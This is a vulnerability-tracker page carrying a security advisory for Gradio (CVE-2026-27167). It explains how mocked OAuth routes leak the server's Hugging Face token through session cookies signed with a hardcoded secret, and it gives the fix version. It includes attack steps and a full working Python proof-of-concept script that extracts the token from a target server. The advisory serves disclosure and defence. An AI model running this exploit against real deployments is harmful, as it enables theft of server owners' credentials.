Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
5.9

Gradio: Attacker Can Steal Server's OAuth Token via Mocked Login

CVE-2026-27167 GHSA-h3h8-3v2v-rg7m
Summary

Gradio applications running outside of Hugging Face Spaces can expose the server's Hugging Face token to remote attackers. This happens when a user interacts with a Gradio app's OAuth login feature. To fix this, update Gradio to the latest version or manually disable OAuth features if not needed.

What to do
  • Update gradio to version 6.6.0.
Affected software
VendorProductAffected versionsFix available
gradio > 4.16.0 , <= 6.6.0 6.6.0
gradio_project gradio > 4.16.0 , <= 6.6.0
Original title
Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret
Original description
## Summary

Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string `"-v4"`, making the payload trivially decodable.

## Affected Component

`gradio/oauth.py` — functions `attach_oauth()`, `_add_mocked_oauth_routes()`, and `_get_mocked_oauth_info()`.

## Root Cause Analysis

### 1. Real token injected into every visitor's session

When Gradio detects it is **not** running inside a Hugging Face Space (`get_space() is None`), it registers mocked OAuth routes via `_add_mocked_oauth_routes()` (line 44).

The function `_get_mocked_oauth_info()` (line 307) calls `huggingface_hub.get_token()` to retrieve the **real** HF access token configured on the host machine (via `HF_TOKEN` environment variable or `huggingface-cli login`). This token is stored in a dict that is then injected into the session of **any visitor** who hits `/login/callback` (line 183):

```python
request.session["oauth_info"] = mocked_oauth_info
```

The `mocked_oauth_info` dict contains the real token at key `access_token` (line 329):

```python
return {
"access_token": token, # <-- real HF token from server
...
}
```

### 2. Hardcoded session signing secret

The `SessionMiddleware` secret is derived from `OAUTH_CLIENT_SECRET` (line 50):

```python
session_secret = (OAUTH_CLIENT_SECRET or "") + "-v4"
```

When running outside a Space, `OAUTH_CLIENT_SECRET` is not set, so the secret becomes the **constant string `"-v4"`**, hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.

In practice, Starlette's `SessionMiddleware` stores the session data as **plaintext base64** in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.

## Attack Scenario

### Prerequisites

- A Gradio app using OAuth components (`gr.LoginButton`, `gr.OAuthProfile`, etc.)
- The app is network-accessible (e.g. `server_name="0.0.0.0"`, `share=True`, port forwarding, etc.)
- The host machine has a Hugging Face token configured
- `OAUTH_CLIENT_SECRET` is **not** set (default outside of Spaces)

### Steps

1. Attacker sends a GET request to `http://<target>:7860/login/huggingface`
2. The server responds with a 307 redirect to `/login/callback`
3. The attacker follows the redirect; the server sets a `session` cookie containing the real HF token
4. The attacker base64-decodes the cookie payload (everything before the first `.`) to extract the `access_token`


## Minimal Vulnerable Application

```python
import gradio as gr
from huggingface_hub import login

login(token="hf_xxx...")

def hello(profile: gr.OAuthProfile | None) -> str:
if profile is None:
return "Not logged in."
return f"Hello {profile.name}"

with gr.Blocks() as demo:
gr.LoginButton()
gr.Markdown().attach_load_event(hello, None)

demo.launch(server_name="0.0.0.0")

```

## Proof of Concept

```python
#!/usr/bin/env python3
"""
POC: Gradio mocked OAuth leaks server's HF token via session + weak secret
Usage: python exploit.py --target http://victim:7860
python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080
"""
import argparse
import base64
import json
import sys
import requests


def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:7860")
ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080")
args = ap.parse_args()

base = args.target.rstrip("/")
proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None

# 1. Trigger mocked OAuth flow — server injects its own HF token into our session
s = requests.Session()
s.get(f"{base}/login/huggingface", allow_redirects=True, verify=False, proxies=proxies)

cookie = s.cookies.get("session")
if not cookie:
print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr)
sys.exit(1)

# 2. Decode the cookie payload (base64 before the first ".")
payload_b64 = cookie.split(".")[0]
payload_b64 += "=" * (-len(payload_b64) % 4) # fix padding
data = json.loads(base64.b64decode(payload_b64))
token = data.get("oauth_info", {}).get("access_token")

if token:
print(f"[+] Leaked HF token: {token}")
else:
print("[-] No access_token found in session.", file=sys.stderr)
sys.exit(1)


if __name__ == "__main__":
main()
```
nvd CVSS3.1 5.9
Vulnerability type
CWE-522 Insufficiently Protected Credentials
CWE-798 Use of Hard-coded Credentials
Published: 1 Mar 2026 · Updated: 13 Mar 2026 · First seen: 6 Mar 2026